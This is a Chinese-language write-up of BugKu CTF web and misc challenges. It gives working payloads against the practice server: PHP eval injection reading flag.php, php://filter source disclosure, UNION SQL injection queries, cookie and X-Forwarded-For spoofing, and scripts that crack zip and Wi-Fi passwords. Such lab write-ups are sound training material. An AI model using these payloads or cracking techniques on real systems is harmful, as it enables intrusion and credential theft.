BugKu-wp

前两天无意间翻到一个CTF平台--BugKu,记下wp

WEB

1.Web2

查看源代码即可得到flag

2.计算器:

输入框位数受到限制,只能输一位,F12修改位数


image.png

3.web基础$_GET


$what=$_GET['what'];

echo $what;

if($what=='flag')

echo 'flag{****}';

根据题意,直接将what赋值为flag去get提交
?what=flag

4.web基础$_POST

用post方式提交


image.png

5.矛盾

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
image.png

观察题目,应该是使用is_numeric遇到%00截断的漏洞,这里构造
http://123.206.87.240:8002/get/index1.php?num=1%00

知识点:
is_numeric() 判断变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。不仅检查10进制,16进制是可以。

is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断!

该函数还可能造成sql注入,例如将‘1 or 1'转换为16进制形式,再传参,就可以造成sql注入

6.web3

界面有点不尽 的弹窗,应该是使用了大量的alert语句,直接查看网页源代码

最后一行是这样的

image.png

使用html解码,得到flag

7.域名解析

提示:听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag
需要在hosts文件修改以下,我是在linux下做的比较方便
修改/etc/hosts
添加 flag.baidu.com 123.206.87.240 到文件中
然后打开浏览器访问 flag.baidu.com 得到flag

8.你必须让他停下

打开网站后网页一直都在跳动,而且页面不同,猜测flag在其中的一些网页中,采用burp一帧帧的看,在Repeter多次go,很容易就得到了flag

9.本地包含

<?php 
    include "flag.php"; 
    $a = @$_REQUEST['hello']; 
    eval( "var_dump($a);"); 
    show_source(__FILE__); 
?>

方法一

    对_REQUEST[]函数并不是很了解,百度得到它对get/Post都可以接受

    其中第一句话include“flag.php”说明该文件在本地

     第二句话要获得hello的值,由于hello为’hello’,所以无论在url栏中对hello赋任何值,都会全盘接受,其中var_dump()是将a打印到界面中,在根据eval函数的特性(计算后面括号中的表达式)

根据这一特性,我们尝试将flag.php文件直接输出

构造如下:http://123.206.87.240:8003/?hello=1);print_r(file("./flag.php"));%23

使原文语句为


    eval(“var_dump(1);print_r(file(“./flag.php”))”)

方法二:

另外一种方法是直接对hello赋值为hello=file_get_contents('flag.php')

然后查按F12可以知道flag

10.变量1

<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

根据代码得知只能get无符号字符串的args,而输入之后会返回$$args的值,提示flag再变量中,可以构造args=GLOBALS即可返回该全局变量数组的所有值,其中包括flag。

构造:http://123.206.87.240:8004/index1.php?args=GLOBALS

11.web5

查看源代码


image.png

发现了一大堆组合,考虑是JSFUCK,

直接将括号复制到谷歌浏览器的控制台运行得到flag


image.png

12. 头等舱

burp抓包:

image.png

13. 网站被黑

image.png

http://123.206.87.240:8002/webshell/
御剑后台扫描,发现shell.php

image.png

用burp自带的字典爆破,密码为hack

14.管理员系统

打开解题网址

image.png

很像sql注入的题,随便输入个账号先试试

image.png

看到这个就想到X-Forwarded-For

简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP

伪造一个XFF头,伪装成本地登录

X-Forwarded_For: 127.0.0.1

在来看看源码
看到在源码的最后面有一个base64的编码


image.png

解密为test123,猜测应该是管理员密码

Burp抓包,然后转到Repeater模块中

image.png

Go得到了flag,转换为flag格式

15.Web4

源码:


image.png

查看网页源代码p1=%..%...;p2=%..%...

题目最后p1+%..%...+p2

先进行URL解码


p1=function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b

p2=aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

%35%34%61%61%32=54aa2

完整代码:

functioncheckSubmit(){

      vara=document.getElementById("password");

      if("undefined"!=typeof a){

            if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)

                  return!0;

            alert("Error");

            a.focus();

            return!1

      }

}

document.getElementById("levelQuest").onsubmit=checkSubmit;

则可知当传入的password值为67d709b2b54aa2aa648cf6e87a7114f1时返回真值得到flag。

16.flag在index里

将网页点开,在点击相应连接,网页地址栏变为:

http://123.206.87.240:8005/post/index.php?file=show.php

看到了file关键字,猜测为文件包含,看看用php://filter能否将index读出来
构造:
http://123.206.87.240:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==

得到base64解码,观察程序得到flag

17.输入密码查看flag

image.png

burp进行五位数弱密码爆破,密码为13579

18. 点击一百万次

题目要点击100万次才行,很显然不能
查看网页源代码,根据
if(clicks >= 1000000)
直接将clicks赋值为10000000(POST方法),查看结果
不能直接修改前端代码
得到flag


image.png

19.备份是个好习惯

打开网页d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

将里面的东西解码,每个解码的方式都试过了,未果,观察里面的加密值,发现先后重复

将d41d8cd98f00b204e9800998ecf8427e解密

image.png

然后在flag中试了各种与空有关的东西,未果。

观察题目,说备份是个好习惯猜测应该与备份有关

小知识:

备份文件一般情况是在后缀名后加的.swp,.bak

http://120.24.86.145:8002/web16/ 默认访问的是该路径的index.php文件

看看里面有什么东西

http://120.24.86.145:8002/web16/index.php.bak

访问成功了,复原备份文件


include_once "flag.php";

ini_set("display_errors", 0);

$str = strstr($_SERVER['REQUEST_URI'], '?');

$str = substr($str,1);

$str = str_replace('key','',$str);

parse_str($str);

echo md5($key1);

echo md5($key2);

if(md5($key1) == md5($key2) && $key1 !== $key2){

echo $flag."取得flag";

要求key1和key2的md5值相等,但是值不相等

百度得这两个值为240610708和QNKCDZO,尝试赋值,并没有什么变化

继续观察源程序,发现程序中将key字符变为空,考虑用kkeyey取代key,


image.png

然后得到了flag

20.成绩单

看到题后首先想到的是sql注入
先爆数据库:
0' union select 1,user(),database(),4 -- +

image.png

爆表:
0' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='skctf_flag' -- +

image.png

可以看到有俩表,flag应该在fl4g里

爆列:
-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='fl4g' #

image.png

值:
-1' union select 1,skctf_flag,3,4 from fl4g#

BUGKU{Sql_INJECT0N_4813drd8hz4}

21.秋名山老司机

image.png

算数,无奈只能上脚本
这题不停刷新会看到


image.png

要post提交一个value数据,value就是结果值
福脚本:

import requests
import re

import base64

url='http://123.206.87.240:8002/qiumingshan/'

s=requests.session()

r=s.get(url)


searchObj = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S)

d = {
    "value": eval(searchObj.group(1))
}
r = s.post(url, data=d)
print(r.text)

运行结果得flag

22.速度要快

image.png

源码提示:
上脚本

import requests

import re

import base64

url='http://123.206.87.240:8002/web6/'

s=requests.session()

r=s.get(url)

flag=r.headers['flag']

print(flag)

flag1=base64.b64decode(flag)

print(flag1)

flag2=base64.b64decode(str(flag1).split(":")[1][1:-1])

#将flag分为两部分,[1:-1]就是获取到的值

print(flag2)

data={"margin":flag2}

r=s.post(url,data)

print(r.text)

23.cookies欺骗

点进来URL
http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
a2V5cy50eHQ=解码是keys.txt 所以替换成base64后的index.php。没作用,但line=1时出现一行php代码,可判定line为源码的行数
写脚本遍历获得源代码

import re

import requests

url='http://123.206.87.240:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'

for i in range(100):
 
    url1=url%i

    c1=requests.get(url1).text

    print(c1)

    if c1=='':
        break

php源码:

<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';
}

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];
}
?>

从源码中看出访问keys.php,然后cookie值要margin=margin。。
前提keys.php以base64形式访问a2V5cy5waHA=


image.png

24.never give up

源码提示:

<!--1p.html-->
never never never give up !!!

抓包
然后访问1p.html


image.png

会得到一堆base64,解密后是url编码,再解码

if(!$_GET['id'])
{
    header('Location: hello.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'no no no no no no no';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("f4l2a3g.txt");
}
else
{
    print "never never never give up !!!";
}


?>

直接访问f4l2a3g.txt 得到flag

MISC

1.签到题

直接关注公众号即可

2.这是一张简单的图片

将图片下载到本地,使用winhex打开图片,在末尾有一组数据信息

&#107;&#101;&#121;&#123;&#121;&#111;&#117;&#32;&#97;&#114;&#101;&#32;&#114;&#105;&#103;&#104;&#116;&#125;
image.png

html解码即可

3.隐写

打开发现是一张png格式的照片,放进StegSolve没发现啥
百度一下原来是改高度


这里写图片描述

找到IDR片段就是00 00 00 0D开头的,把其中的A4改为F4,得到flag


这里写图片描述

4.telnet

打开发现是一个数据包,用wireshark打开,查看整个包的信息,可以追踪一下TCP流,发现里面有一个flag


image.png

5.眼见非实

解压发现是个Word文档,尝试打开打不开,放进winhex里面看是504B0304开头的,一个zip文件,改后缀名再次打开,并在里面的document.xml发现flag


image.png

6.啊哒

拿到之后是一个jpg文件,先使用binwalk分析下文件,得到图片中隐藏了一段tiff信息以及一个压缩包,都分离出来,发现压缩包被加密了,

tiff信息在相机型号出处有一段十六进制,转换成字符串以后是sdnisc_2018,如下图所示:

image.png

使用这个密码解密压缩包,即可获得

7.又一张图片,还单纯吗??

放进binwalk里跑一下,发现里面还有一张图片分离出来


image.png

没找到flag,foremost提取吧

# foremost 图片地址
root@kali:~/桌面# foremost 2.jpg
Processing: 2.jpg
|*|
root@kali:~/桌面# ls
2.jpg  output
root@kali:~/桌面# cd output/
root@kali:~/桌面/output# ls
audit.txt  jpg

这时会在当前目录生成output文件,打开文件就可以看到一张flag图片


image.png

8.猜

直接百度搜图,某刘姓女明星
key{liuyifei}

9.宽带信息泄露

看到是一个二进制文件,用RoutePassView打开,题目提示是用户名,便寻找用户名


image.png

flag{用户名}

10.隐写2

winhex打开没发现什么
使用binwalk查看信息


image.png

里面zip压缩文件
使用binwalk或者foremost分离
打开output文件,里面有一个zip文件

image

还有个提示


image.png

提示密码是三位数
创建字典

crunch 3 3 0123456789 -o password.txt

fcrackzip爆破

fcrackzip -D -p password.txt -u flag.rar -v
image.png

也可以脚本爆破

import zipfile
import os
 
def main():
    zip = zipfile.ZipFile("./123.zip","r",zipfile.zlib.DEFLATED)
    with open("./password.txt") as f:
        for data in f.readlines():
            try:
                print("\n[+] Trying the password ",data.strip())
                zip.extractall(path="./",pwd=data.strip().encode())
                print("\n[+] The password is",data.strip())
                zip.close()
                return 
            except Exception as e :
                print(e)
                pass
 
if __name__ == '__main__':
    main()

解压后得到一张图片
通过写字板打开获得f1@g{eTB1IEFyZSBhIGhAY2tlciE=}

很明显eTB1IEFyZSBhIGhAY2tlciE=是Base64加密,通过解密获得y0u Are a h@cker!

即f1@g{y0u Are a h@cker!},提交时需要将f1@g变换为flag,即最终为flag{y0u Are a h@cker!}

11.多种方法解决

下载下来发现是一个exe文件,又打不开,放进Notepad++看一下,发现这是一个可以转图片的Base64
直接转换即可 http://base64.xpcha.com/ 是个二维码
扫一下获得key

image.png

12.linux

下载下来是一个linux下的压缩包,但这题不需要在linux下,解压后文件Notepad++打开并搜索关键字key得到flag
在linux下也行


image.png

13.闪的好快

一个变化的二维码
使用StegSolve查看帧数,共18,


image.png

一帧一帧扫完拼成flag

14.come_game

下载下来打开是个游戏
最后一关是flag,手残当根本过不去,另想别法


image.png

观察规律发现打开游戏后会生成Deathtime文件,应该是死亡时间,还有一个save文件应该是保存关数,于是想办法修改关数直接到最后一关,用winhex打开save文件

测试发现最后一关是第5关


image.png
image.png

flag: SYC{}

15.隐写3

感觉下面还有东西,于是就打算改高度,于是发现了flag


image.png
image.png
image.png

16.做个游戏(08067CTF)

提示:坚持60秒 相当难
下载下来jar文件,java反编译一下,


image.png

17想蹭网先解开密码

image.png
# w 写模式,它是不能读的,如果用w模式打开一个已经存在的文件,会清空以前的文件内容,重新写
# w+ 是读写内容,只要沾上w,肯定会清空原来的文件 
with open('wifilist.txt','w+') as f:
    for i in range(0,10):
        for j in range(0,10):
            for k in range(0,10):
                for h in range(0,10):
                    f.write('1391040'+str(i)+str(j)+str(k)+str(h)+'\n')
f.close

用脚本先生成字典,然后爆破
kali命令爆破

aircrack-ng wifi.cap -w wifi.txt
image.png
image.png

得到flag

18.Linux2

直接解压Notepad++打开搜索key就有了,,,,

19.账号被盗了

访问链接,使用burpsuite抓包,修改Cookie,右键->Send to Repeater->go


image.png

将123.exe下载下来,打开是一个CF刷枪软件

image.png

使用wireshark抓包,账号密码随便填写


image.png
image.png

账号: YmtjdGZ0ZXN0QDE2My5jb20=

密码:YTEyMzQ1Ng==

将base64解密得到163邮箱,将密码解密是a123456,登录邮箱就可得到flag,


image.png

20. 细心的大象

lag格式 flag{xxx_xxx_xxx}

解压得到1.jpg图片

查看属性,发现有一段base64加密内容


image.png

解密得到明文,这应该是密码之类的,先放着

image.png

接下来 日常丢进kali binwalk 一下
分离 打开 要密码
把我们刚才的解密丢进去!成功!!
又是一张图片?
看图片应该是是改宽高

winhex修改高度


image.png

21.爆照(08067CTF)

留坑

推荐阅读更多精彩内容